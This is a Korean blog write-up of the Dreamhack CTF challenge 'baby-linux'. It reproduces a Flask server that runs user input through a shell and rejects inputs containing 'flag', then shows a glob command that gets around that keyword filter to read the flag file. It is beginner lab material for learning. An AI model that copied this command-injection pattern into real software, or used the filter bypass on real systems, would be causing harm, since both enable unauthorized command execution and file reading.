[Dreamhack] baby-linux Write-up
2025. 4. 2. 11:20ㆍ보안/misc
728x90

리눅스 명령어를 실행하는 웹 서비스라고 한다.
ls
명령어를 실행해보면

파일 목록들이 나온다. hint.txt를 보자.
cat hint.txt

저 위치에 flag.txt가 있을 것이다.
cat dream/hack/hello/flag.txt

No! 라고 나왔다. 코드를 보자.
#!/usr/bin/env python3
import subprocess
from flask import Flask, request, render_template
APP = Flask(__name__)
@APP.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
user_input = request.form.get('user_input')
cmd = f'echo $({user_input})'
if 'flag' in cmd:
return render_template('index.html', result='No!')
try:
output = subprocess.check_output(['/bin/sh', '-c', cmd], timeout=5)
return render_template('index.html', result=output.decode('utf-8'))
except subprocess.TimeoutExpired:
return render_template('index.html', result='Timeout')
except subprocess.CalledProcessError:
return render_template('index.html', result='Error')
return render_template('index.html')
if __name__ == '__main__':
APP.run(host='0.0.0.0', port=8000)
명령어에 flag라고 나와있으면 필터링을 걸고 있다.
txt파일의 내용만 알면 되므로 정규표현식을 사용해
cat dream/hack/hello/*.txt
이렇게 해주면 flag라는 단어를 넣지 않고 flag.txt의 내용을 출력할 수 있다.
728x90
'보안 > misc' 카테고리의 다른 글
[Dreamhack] file-special-bit Write-up (0) | 2025.04.02 |
---|---|
[DreamHack] 64se64 Write-up (0) | 2024.12.27 |
[DreamHack] Exercise: Welcome-Beginners Write-up (2) | 2024.12.27 |
[DreamHack] dreamhack-tools-cyberchef Write-up (1) | 2024.12.27 |